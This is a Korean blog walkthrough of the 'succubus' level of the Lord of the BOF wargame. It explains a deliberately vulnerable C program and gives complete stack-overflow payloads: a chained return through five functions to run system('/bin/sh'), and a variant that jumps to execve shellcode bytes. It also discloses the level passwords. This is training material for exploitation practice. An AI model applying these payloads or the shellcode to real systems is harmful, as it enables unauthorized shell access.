반응형

login as : zombie_assassin
password : no place to hide


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

 

1. 커맨드라인 인자가 있어야 한다.
2. argv[1]에 \x40이 있으면 안된다.
3. addr변수에 DO 함수의 주소를 담는다.
4. argv[1]+44 주소에서부터 4byte 만큼의 값이 DO 함수의 주소와 같아야 한다.
5. buffer[40]과 SFP 부분을 0으로 초기화 한다.
6. buffer+48+100 주소부터 0xbfffffff전까지 모두 0으로 초기화 한다.
7. buffer-3000 주소부터 2060만큼의 공간을 0으로 초기화 한다.

 

2번 조건으로 인해 첫 번째 커맨드라인 인자에 공유 라이브러리 주소를 넣을 수 없다.

4번 조건으로 인해 RET 부분에 덮어쓸 값은 DO 함수의 주소여야 한다.

5, 6, 7번 조건으로 인해 buffer[40] 영역, SFP 부분, buffer+48+100 ~ 0xbfffffff 영역, buffer[40]-3000 ~ buffer[40]-40 영역의 공간은 모두 0으로 초기화 된다.

 

하지만 6, 7번 조건을 반대로 생각해보면 buffer[40]+48 ~ buffer[40]+148 영역과 buffer[40]-40 ~ buffer[40] 영역은 자유롭게 사용할 수 있다는 것이다.

 

그러므로 payload를 스택에 넣을 때 RET 부분에서부터는 0으로 초기화 되지 않는다.

 

이번 문제는 함수들이 여러 개 있는데, 각 함수들의 이름을 보면 도, 개, 걸, 윷, 모이고, 각 함수들에서는 check 변수의 값을 검사하고 check 변수에 값을 넣는다.

 

그리고 마지막 MO() 함수에서는 매개 변수를 받아 해당 매개 변수를 인자로 넘겨 system() 함수를 실행한다.

 

전체적인 흐름을 보면 DO() 함수부터 하여 차례대로 호출하면 된다.


dummy 값 확인

 

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다


공격

 

 

먼저 각 함수들의 주소를 알아내기 위해 succubus 파일을 succubus2 파일로 복사한 후 gdb로 열어 프로세스화 시킨 다음 각 함수들의 주소를 출력한다.

 

DO : 0x80487ec

GYE : 0x80487bc
GUL : 0x804878c
YUT : 0x804875c
MO : 0x8048724

 

[dummy 값] * 44 + [DO 함수의 주소] + [GYE 함수의 주소] + [GUL 함수의 주소] + [YUT 함수의 주소] + [MO 함수의 주소] + [system 함수의 RET 부분] + ["/bin/sh" 문자열의 주소]

 

payload 구성은 위와 같다.

 

RET 부분에 덮어쓸 값은 DO 함수의 주소여야 하므로 DO 함수의 주소로 넣어주고, DO 함수의 RET 부분에는 다음으로 실행할 함수의 주소를 넣는 방식으로 다른 함수들의 RET 부분들도 동일한 방식으로 채워준다.

 

그리고 마지막 MO 함수에서는 system() 함수가 실행되고, system() 함수의 RET 부분은 dummy 값으로 채워준다.

 

마지막으로 system() 함수의 인자로 "/bin/sh" 문자열의 주소를 payload 마지막에 넣어줘야 하는데, 문제 조건에서 첫번째 커맨드라인 인자에 0x40 값이 포함되면 안되므로 공유 라이브러리에서 "/bin/sh" 문자열의 주소를 추출하는 방법은 이용할 수 없다.

 

그렇다면 첫 번째 커맨드라인 인자에 "/bin/sh" 문자열을 넣고 core 파일을 생성해 분석하여 해당 "/bin/sh" 문자열의 주소를 찾아 payload를 수정하는 방법을 이용한다.

 

[dummy 값] * 44 + [DO 함수의 주소] + [GYE 함수의 주소] + [GUL 함수의 주소] + [YUT 함수의 주소] + [MO 함수의 주소] + [system 함수의 RET 부분] + ["/bin/sh" 문자열의 주소] + ["/bin/sh"]

 

그렇다면 최종 테스트 payload 구성은 위와 같을 것이다.

 

./succubus2 `python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "bbbb" + "cccc" + "/bin/sh"'`

gdb -q -c core

x/40x $esp-48

x/s 0xbffffc68

 

테스트 paylaod의 구성에 맞게 payload를 만들어 core 파일을 생성 후 분석해보면 "/bin/sh" 문자열이 있는 스택 주소는 0xbffffc68이다.

 

`python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "bbbb" + "\x68\xfc\xff\xbf" + "/bin/sh"'`

id

my-pass

 

payload를 수정하여 succubus 파일에 인자로 주어 실행하면 succubus의 password인 here to stay를 얻을 수 있다.

 


DO 함수 RET 부분에서 바로 쉘 코드 실행하기

 

위에서는 DO, GYE, GUL, YUT, MO 함수를 모두 호출하여 모든 조건을 만족시키며 쉘을 땄지만, DO 함수만 호출하고 DO 함수의 RET부분에 GYE 함수의 주소 대신 쉘 코드가 있는 주소를 넣어주면 되는데, 이때 쉘 코드는 "/bin/sh" 문자열을 스택에 넣은 것처럼 하여 쉘 코드가 있는 주소를 구해오면 된다.

 

`python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "bbbb" + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/40x $esp-48

 

먼저 테스트용 payload를 구성해 core 파일을 생성하고 분석하면 shellcode가 있는 주소는 0xbffffc24이다.

 

`python -c 'print "a" * 44 + "\xec\x87\x04\x08" + "\x24\xfc\xff\xbf" + "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

payload를 수정하여 공격하면 위와 같이 성공하며 succubus의 password인 here to stay를 얻을 수 있다.

 

 

반응형

+ Recent posts